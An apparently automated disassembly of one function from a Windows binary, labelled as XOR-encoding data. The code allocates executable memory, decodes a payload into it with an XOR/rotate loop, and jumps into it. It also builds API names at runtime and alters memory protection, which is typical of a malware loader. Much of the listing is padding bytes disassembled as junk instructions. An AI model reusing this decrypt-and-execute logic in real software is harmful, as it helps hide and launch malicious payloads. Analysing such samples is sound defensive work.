Function at 0x40286f
Capabilities:
Encode data using xor

Disassembly:
lea ecx, [0x401a49]
call ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
push 0xb
sub esp, 4
mov dword [esp], 0x40a6b8
sub esp, 4
mov dword [esp], 0x40a6ab
call dword [0x404054]
lea ecx, [0x402c2f]
call ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ecx, [0x402c2f]
call ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ecx, [0x401a49]
call ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x40]
push eax
lea edx, [0x1000]
push edx
lea edi, [0x704]
push edi
lea edi, [0]
push edi
lea eax, [0xffffffff]
push eax
call fcn.004015f9
cmp eax, 0
je 0x401a49
lea edx, [0x409e04]
add edx, 0x10
lea ecx, [0x472b7f90]
mov esi, 0x704
push eax
pop edi
push edi
sub ebx, ebx
dec ebx
and ebx, dword [edx]
add edx, 4
neg ebx
clc
sbb ebx, 0xd
ror ebx, 9
rol ebx, 1
xor ebx, ecx
dec ebx
push ebx
pop ecx
rol ecx, 9
ror ecx, 1
neg ecx
mov dword [edi], ebx
clc
adc edi, 4
lea esi, [esi - 4]
test esi, esi
jne 0x4015be
pop edi
mov edx, dword [0x40403c]
push edx
push 0x401576
push edi
ret
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov ecx, dword [0x40a6ea]
push ecx
call dword [0x404034]
lea ebx, [0x402c2f]
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x402c2f1d], cl
add byte [esi], ch
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ebx, [0x402c2f]
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
push 0xb
sub esp, 4
mov dword [esp], 0x40a6b8
sub esp, 4
mov dword [esp], 0x40a6ab
call dword [0x404054]
push 0xb
sub esp, 4
mov dword [esp], 0x40a6b8
sub esp, 4
mov dword [esp], 0x40a6ab
call dword [0x404054]
lea eax, [0x402c2f]
call eax
add byte [eax], al
sub esp, 4
mov dword [esp], 0x40a69e
sub esp, 4
mov dword [esp], 0x40a695
call dword [0x404024]
lea ecx, [0x402c2f]
call ecx
add byte [eax], al
add byte [eax], al
lea ecx, [0x402c2f]
call ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub esp, 4
mov dword [esp], 0x40a69e
sub esp, 4
mov dword [esp], 0x40a695
call dword [0x404024]
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
sub esp, 4
mov dword [esp], 0x40a6de
push 0
push 0x100000
call dword [0x40401c]
test eax, eax
jne 0x4014a0
lea eax, [0x4014a0]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x402c2f3d], cl
add byte [esi], ch
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub esp, 4
mov dword [esp], 0x40a6d4
sub esp, 4
mov dword [esp], 0x40a6c3
call dword [0x404030]
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
nop
mov esp, ebp
pop ebp
ret
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edi, [0x402c2f]
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub esp, 4
mov dword [esp], 0x40a6de
push 0
push 0x100000
call dword [0x40401c]
test eax, eax
jne 0x401a49
sub esp, 4
mov dword [esp], 0x40a69e
sub esp, 4
mov dword [esp], 0x40a695
call dword [0x404024]
lea ebx, [0x402c2f]
call ebx
add byte [eax], al
add byte [ebp + 0x54], dl
push ebp
push esp
push ebp
push esp
pop ebp
mov ecx, esp
mov eax, 0x2a
sub esp, 0x44
push 0xb
sub esp, 4
mov dword [esp], 0x40a6b8
sub esp, 4
mov dword [esp], 0x40a6ab
call dword [0x404054]
sub esp, 4
mov dword [esp], 0x40a6d4
sub esp, 4
mov dword [esp], 0x40a6c3
call dword [0x404030]
lea esi, [0x401768]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x402c2f15], cl
add byte [esi], ch
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub esp, 4
mov dword [esp], 0x40a6de
push 0
push 0x100000
call dword [0x40401c]
test eax, eax
jne 0x401898
push 0xb
sub esp, 4
mov dword [esp], 0x40a6b8
sub esp, 4
mov dword [esp], 0x40a6ab
call dword [0x404054]
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x402c2f0d], cl
add byte [esi], ch
call ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ebx, [0x402c2f]
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
push 0xb
sub esp, 4
mov dword [esp], 0x40a6b8
sub esp, 4
mov dword [esp], 0x40a6ab
call dword [0x404054]
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ebx, [0x402c2f]
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub esp, 4
mov dword [esp], 0x40a6d4
sub esp, 4
mov dword [esp], 0x40a6c3
call dword [0x404030]
sub esp, 4
mov dword [esp], 0x40a69e
sub esp, 4
mov dword [esp], 0x40a695
call dword [0x404024]
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edi, [0x402c2f]
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ecx, [0x402c2f]
call ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ebx, [0x402c2f]
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edi, [0x402c2f]
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ecx, [0x402c2f]
call ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub esp, 4
mov dword [esp], 0x40a69e
sub esp, 4
mov dword [esp], 0x40a695
call dword [0x404024]
lea ebx, [0x402c2f]
call ebx
add byte [eax], al
add byte [eax], al
lea ecx, [0x402c2f]
call ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov edi, dword [0x40a6ea]
push edi
call dword [0x404034]
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0xd4
cmpsb byte [esi], byte es:[edi]
inc eax
add byte [ebx + 0x4c704ec], al
and al, 0xc3
cmpsb byte [esi], byte es:[edi]
inc eax
add bh, bh
adc eax, 0x404030
mov eax, dword [0x40a6ea]
push eax
call dword [0x404034]
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ebx, [0x402c2f]
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub esp, 4
mov dword [esp], 0x40a69e
sub esp, 4
mov dword [esp], 0x40a695
call dword [0x404024]
lea ebx, [0x402c2f]
call ebx
add byte [eax], al
add byte [eax], al
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ecx, [0x402c2f]
call ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
push 0xb
sub esp, 4
mov dword [esp], 0x40a6b8
sub esp, 4
mov dword [esp], 0x40a6ab
call dword [0x404054]
mov ecx, dword [0x40a6ea]
push ecx
call dword [0x404034]
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0xde
cmpsb byte [esi], byte es:[edi]
inc eax
add byte [edx], ch
push 0x100000
call dword [0x40401c]
test eax, eax
jne 0x402a6f
lea ebx, [0x402c2f]
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx + 0x40a6ea], ah
push eax
call dword [0x404034]
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub esp, 4
mov dword [esp], 0x40a6de
push 0
push 0x100000
call dword [0x40401c]
cmp eax, 0
jne 0x402b07
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub esp, 4
mov dword [esp], 0x40a69e
sub esp, 4
mov dword [esp], 0x40a695
call dword [0x404024]
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
lea edi, [0x402c2f]
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edi, [0x402c2f]
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov ebx, dword [0x40a6ea]
push ebx
call dword [0x404034]
sub esp, 4
mov dword [esp], 0x40a69e
sub esp, 4
mov dword [esp], 0x40a695
call dword [0x404024]
lea edx, [0x402c2f]
call edx
add byte [ebp + 0x402c2f1d], cl
add byte [esi], ch
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ebx, [0x402c2f]
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ebx, [0x402c2f]
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edi, [0x402c2f]
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ebx, [0x402c2f]
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub esp, 4
mov dword [esp], 0x40a6de
push 0
push 0x100000
call dword [0x40401c]
cmp eax, 0
jne 0x40235e
sub esp, 4
mov dword [esp], 0x40a69e
sub esp, 4
mov dword [esp], 0x40a695
call dword [0x404024]
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
sub esp, 4
mov dword [esp], 0x40a6d4
sub esp, 4
mov dword [esp], 0x40a6c3
call dword [0x404030]
lea ecx, [0x402c2f]
call ecx
add byte [eax], al
add byte [eax], al
lea ebx, [0x402c2f]
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edi, [0x402c2f]
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov eax, dword [0x40a6ea]
push eax
call dword [0x404034]
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edi, [0x402c2f]
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edi, [0x402c2f]
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x402be3]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ebx, [0x402c2f]
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ecx, [0x402c2f]
call ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ebx, [0x402c2f]
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
push 0xb
sub esp, 4
mov dword [esp], 0x40a6b8
sub esp, 4
mov dword [esp], 0x40a6ab
call dword [0x404054]
lea edi, [0x402c2f]
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ecx, [0x402c2f]
call ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub esp, 4
mov dword [esp], 0x40a69e
sub esp, 4
mov dword [esp], 0x40a695
call dword [0x404024]
sub esp, 4
mov dword [esp], 0x40a6d4
sub esp, 4
mov dword [esp], 0x40a6c3
call dword [0x404030]
lea ecx, [0x402c2f]
call ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov esi, dword [0x40a6ea]
push esi
call dword [0x404034]
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x402c2f0d], cl
add byte [esi], ch
call ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov edx, dword [0x40a6ea]
push edx
call dword [0x404034]
sub esp, 4
mov dword [esp], 0x40a6de
push 0
push 0x100000
call dword [0x40401c]
cmp eax, 0
jne 0x402130
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x402c2f15], cl
add byte [esi], ch
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ecx, [0x402c2f]
call ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ebx, [0x402c2f]
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edi, [0x402c2f]
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ebx, [0x402c2f]
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ebx, [0x402c2f]
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edi, [0x402c2f]
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ebx, [0x402c2f]
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea edi, [0x402c2f]
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov ecx, dword [0x40a6ea]
push ecx
call dword [0x404034]
lea edx, [0x402c2f]
call edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x402c2f1d], cl
add byte [esi], ch
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub esp, 4
mov dword [esp], 0x40a6d4
sub esp, 4
mov dword [esp], 0x40a6c3
call dword [0x404030]
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
lea esi, [0x402c2f]
call esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea ebx, [0x402715]
call ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x401504]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
lea eax, [0x402c2f]
call eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub esp, 4
mov dword [esp], 0x40a6de
push 0
push 0x100000
call dword [0x40401c]
test eax, eax
jne 0x401a49
mov byte [0x40a661], 0x6b
push 0x40a661
call dword [0x40403c]
mov dword [0x40a64a], eax
push 0x40a64e
push eax
mov dword [0x40a64e], 0x74726956
push 0x64616f4c
pop dword [0x40a639]
push 0x40a639
push eax
call dword [0x404050]
push eax
pop dword [0x40a646]
mov word [0x40a681], 0x696d
push 0x40a681
call eax
test eax, eax
je 0x401a49
push eax
push 0x40a681
push eax
call dword [0x404050]
test eax, eax
jne 0x401a49
pop eax
push eax
push 0xb
sub esp, 4
mov dword [esp], 0x40a6b8
sub esp, 4
mov dword [esp], 0x40a6ab
call dword [0x404054]
pop eax
push eax
sub esp, 4
mov dword [esp], 0x40a6de
push 0
push 0x100000
call dword [0x40401c]
test eax, eax
jne 0x401a49
pop eax
push eax
sub esp, 4
mov dword [esp], 0x40a6d4
sub esp, 4
mov dword [esp], 0x40a6c3
call dword [0x404030]
pop eax
push eax
pop ebx
add ebx, dword [ebx + 0x3c]
add ebx, 0xa0
mov dword [0x40a618], ebx
call dword [0x404050]
mov dword [0x40a65d], eax
push 0
push 8
push dword [0x40a618]
push 0x40a618
xor eax, eax
dec eax
push eax
call dword [0x404014]
sub esp, 4
mov dword [esp], 0x40a6de
push 0
push 0x100000
call dword [0x40401c]
test eax, eax
jne 0x401a49
mov edi, 0x120
cmp dword [0x40a61c], 0xfff
ja 0x401a49
cmp dword [0x40a61c], edi
jb 0x401a49
cmp byte [0x40a65d], 0
jne 0x402da5
xor word [0x40a691], 0x1000
jmp 0x402dc1
xor dword [0x40a691], 0x401576
jmp 0x402dc1
jmp dword [0x40a691]